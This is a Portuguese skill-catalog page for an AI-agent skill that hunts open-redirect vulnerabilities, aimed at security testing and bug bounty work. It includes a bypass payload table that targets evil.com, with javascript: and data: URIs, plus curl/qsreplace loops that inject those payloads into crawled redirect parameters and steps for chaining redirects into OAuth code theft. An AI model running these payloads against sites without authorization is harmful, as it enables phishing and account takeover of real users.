Pular para o conteúdo
Skillpedia
Diversos48 mil · #3279

hunt-open-redirect

Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.

O que ela faz

Esta ferramenta procura por 'redirecionamentos abertos' em sites. Isso acontece quando um site te manda para outro site sem que você espere, e o site de destino pode ser malicioso.

Quando usar

  • ✓Ao testar a segurança de um site.
  • ✓Para verificar se um site pode ser usado para enganar usuários.
  • ✓Ao analisar como um site lida com links externos.

Exemplo do que pedir para a IA

“Procure por redirecionamentos abertos no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta testa vários padrões de links que podem causar redirecionamentos. Ela verifica se o site responde corretamente ao ser direcionado para um endereço malicioso.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-open-redirect

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-open-redirect/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-OPEN-REDIRECT — Redirecionamento Aberto

Alvos Joia da Coroa

Redirecionamento aberto por si só é Baixo. Encadeado ao OAuth = Crítico (ATO).

Cadeias de maior valor:

  • Redirecionamento aberto → Roubo de código de autorização OAuth — redirect_uri contém redirecionamento aberto em domínio confiável → código de autorização enviado ao atacante → ATO
  • Redirecionamento aberto → Phishing — usuários confiam na URL porque ela começa com target.com
  • Redirecionamento aberto → Escalada SSRF — se o redirecionamento for seguido no lado do servidor → SSRF
  • Redirecionamento aberto → Fixação de sessão — força o usuário ao endpoint de login com sessão pré-definida

Sinais de Superfície de Ataque

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Tabela de Bypass

Técnica Payload
Básico https://evil.com
Protocolo relativo //evil.com
Bypass de barra invertida /\\evil.com
Confusão de arroba https://target.com@evil.com
Barra dupla //evil.com/%2F..
Codificação de URL %2Fevil.com
Byte nulo evil.com%00target.com
Espaço em branco evil.com%09 ou %20
URI JavaScript javascript:window.location='https://evil.com'
URI de dados data:text/html,<script>window.location='https://evil.com'</script>
Subdomínio https://target.com.evil.com
Fragmento https://evil.com#.target.com

Metodologia de Caça Passo a Passo

Fase 1 — Descobrir Parâmetros de Redirecionamento

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Fase 2 — Teste Básico

COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Fase 3 — Técnicas de Bypass

BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Fase 3b — Redirecionamento aberto baseado em DOM (sink do lado do cliente)

A busca Location: no lado do servidor perde redirecionamentos que ocorrem puramente em JS. Fonte (location.hash/location.search/document.referrer) atribuída a um sink de navegação.

grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: Redirecionamento aberto baseado em DOM.)

Fase 4 — Teste de Cadeia OAuth

# Se o alvo tiver OAuth, verifique se redirect_uri aceita redirecionamento aberto
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construir URL OAuth com redirecionamento aberto como redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Ataque: redirect_uri=https://target.com/redirect?url=https://evil.com

…
Perguntas frequentes

O que é um 'redirecionamento aberto'?

É quando um site te envia para outro site, e esse outro site pode ser controlado por um atacante. Isso pode ser usado para roubar informações ou enganar pessoas.

Por que isso é perigoso?

Um atacante pode fazer um site confiável te enviar para um site falso que parece real, roubando suas senhas ou dados. Também pode ser usado para acessar sistemas internos de forma indevida.

Preciso de permissão para usar isso?

Sim, esta ferramenta só deve ser usada em sistemas para os quais você tem permissão explícita e por escrito. Usá-la sem autorização é ilegal.

Detalhes

Descrição original do autor

Hunt Open Redirect

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3279
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas